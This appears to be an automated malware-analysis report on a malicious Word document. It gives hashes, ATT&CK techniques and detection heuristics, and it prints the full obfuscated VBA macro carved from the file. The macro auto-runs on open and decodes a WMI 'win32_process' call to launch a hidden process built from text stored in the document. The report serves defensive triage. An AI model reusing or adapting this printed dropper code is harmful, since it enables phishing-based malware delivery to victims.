Office (OLE) / .DOC malware analysis — malicious · 662c21ee2aab3a65

MALICIOUS

Office (OLE) / .DOC

122.7 KB Created: 2020-09-07 11:46:00 Authoring application: Microsoft Office Word First seen: 2020-09-15

MD5: f896ac218451ca62e79d9ab776adb2f8 SHA-1: 779a0e1d989b13882de3744f672bec852a55c0a4 SHA-256: 662c21ee2aab3a65de038e9d1d3765093c2dddb0eb4a6ed73799b074f74bb8b9

112 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that is automatically executed upon opening. The macro employs obfuscation techniques and uses CreateObject to likely download and execute a second-stage payload. The presence of a Document_Open macro and the obfuscated VBA code strongly suggest a macro-based malware delivery.

Heuristics 6

VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set U2xbn5v2qgw6plgq = CreateObject(Xc7kownp848u5s3i)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Document_open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	15748 bytes
SHA-256: `1c4436583a4b6650843e4419172910ceb9b3045427bee87e2c7b73fc6b0097fa`
Detection ClamAV: No threats found Obfuscation or payload: likely 47 of 90 identifiers look randomly generated (e.g. 'F_znsrn3howqbDj8ltnrgb8jhusm') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Y8_z2kw9_tx14eit" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub _ Document_open() Wiex5yqvli9gb2a = Array(P2d8v_hkf09nigfi3x + "F53_a7h6z4qH7wmo2406a5s72 Iec1op14f53" + Boftrzrxrx6, M0yfi_kej461wdccv, C7linhpu6vjp3y.Stzqqoams1gg55azyn, Lsxy2v1sn4o + "P1klhq2vvgu Vjtq8oxobohmf6hd Sxr1fgfql7wmat Y_6sbjv0gacis") End Sub Attribute VB_Name = "C7linhpu6vjp3y" Attribute VB_Base = "0{9B35AD2E-7029-44D6-BDDE-3262F8708347}{4D4FD347-256E-4918-894A-826CDE676FCC}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Function Stzqqoams1gg55azyn() On Error Resume Next Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If L39xng3buw199km = 90 Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Tam4_4l3mvsj6dk3 = Chr$(L39xng3buw199km + (25)) Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Jqsx0u9_2kitaeu4 = "ghw()()22ghw()()22wghw()()22ighw()()22nmghw()()22ghw()()22gmghw()()22tghw()()22ghw()()22" + Tam4_4l3mvsj6dk3 + "ghw()()22ghw()()22:ghw()()22wghw()()22inghw()()22ghw()()223ghw()()222ghw()()22_ghw()()22" + C7linhpu6vjp3y.Yxuyef1st595sun0 + "ghw()()22roghw()()22ghw()()22ceghw()()22sghw()()22sghw()()22" Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Xc7kownp848u5s3i = Fjnn7o1ct5u(Jqsx0u9_2kitaeu4) Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Set U2xbn5v2qgw6plgq = CreateObject(Xc7kownp848u5s3i) Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Ezi18wfgdm3 = C7linhpu6vjp3y.Ju9rsi5yw6cb_.ControlTipText Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If J9gq5oeqeihf3 = Ri6asien_zvmk_kpl + (Xc7kownp848u5s3i + Tam4_4l3mvsj6dk3 + C7linhpu6vjp3y.Nyvwbkkj78p6j.ControlTipText + Ezi18wfgdm3) Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Nmavc_6k3hs_yjb = J9gq5oeqeihf3 + C7linhpu6vjp3y.Yxuyef1st595sun0 Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Set Gwdmxfqj9_szmjf7 = Gij5w5crf7o(Nmavc_6k3hs_yjb) Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Gcllqxx83d45q = Array(A3w4ijo_725eqwnx + "F_znsrn3howqbDj8ltnrgb8jhusm Atf3u63ltljb" + W3t6gy7tk6j, B93dk96pamcljakrw, [U2xbn5v2qgw6plgq].Create(Aaglmocqtjnz7, Feqefe1nn5ry2y70s, Gwdmxfqj9_szmjf7), Zhinpxbtzivgno9sxf + "Y3yn9ua0mwopks Not614dxps3gq Sib2uvfm5l4 Rz9k4lza7t_4qv") Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If End Function Function Gij5w5crf7o(Rixw9rm2g8987rrbu) On Error Resume Next Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Set Gij5w5crf7o = CreateObject(Rixw9rm2g8987rrbu) Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If [Gij5w5crf7o]. _ showwindow = xlYErrorBars - xlYErrorBars Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If End Function Function Fjnn7o1ct5u(Meuy48ymn0xj) On Error Resume Next Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Uvmxl1n6h3nicxfbea = CleanString(Meuy48ymn0xj) Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Rb2prkt5nln = Split(Uvmxl1n6h3nicxfbea, "ghw()()22") Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Dnb8pw3zmwsfzunjsu = Di7fov7xnnz29igui + Join _ (Rb2prkt5nln, Iepzezrsqhh) Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Fjnn7o1ct5u = Dnb8pw3zmwsfzunjsu Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If End Function Function Aaglmocqtjnz7() On Error Resume Next Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Px94vbed6qe6nxbo3 = Y8_z2kw9_tx14eit.InlineShapes(1).AlternativeText Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If Aaglmocqtjnz7 = Fjnn7o1ct5u(Px94vbed6qe6nxbo3) Set Wktq72dzif24cacc = Y8_z2kw9_tx14eit.Footnotes HfMeRfqltKwy83 = 1665 zlYyuzgEGjDd43 = J XNmFTiUrQBWc99 = Asc(zlYyuzgEGjDd43) If HfMeRfqltKwy83 > XNmFTiUrQBWc99 Then For oLJFAWTzkrAe36 = 1 To 96 CUywyuKKoqgW36 = XNmFTiUrQBWc99 + oLJFAWTzkrAe36 Next oLJFAWTzkrAe36 CUywyuKKoqgW36 = CUywyuKKoqgW36 + HfMeRfqltKwy83 JaRNBdtyavQE52 = CStr(CUywyuKKoqgW36) FFvpFhxLdTJo57 = Mid$(JaRNBdtyavQE52, 1, 4) scsBsKrnISzN93 = scsBsKrnISzN93 & "87" nfjZjRhoofHy83 = CInt(Mid$(scsBsKrnISzN93, 2, 6)) Else nfjZjRhoofHy83 = 96 + 1665 MsgBox ("mAHJjOLxZukF77") End If End Function

Open this report in the interactive analyzer, or submit your own file for analysis.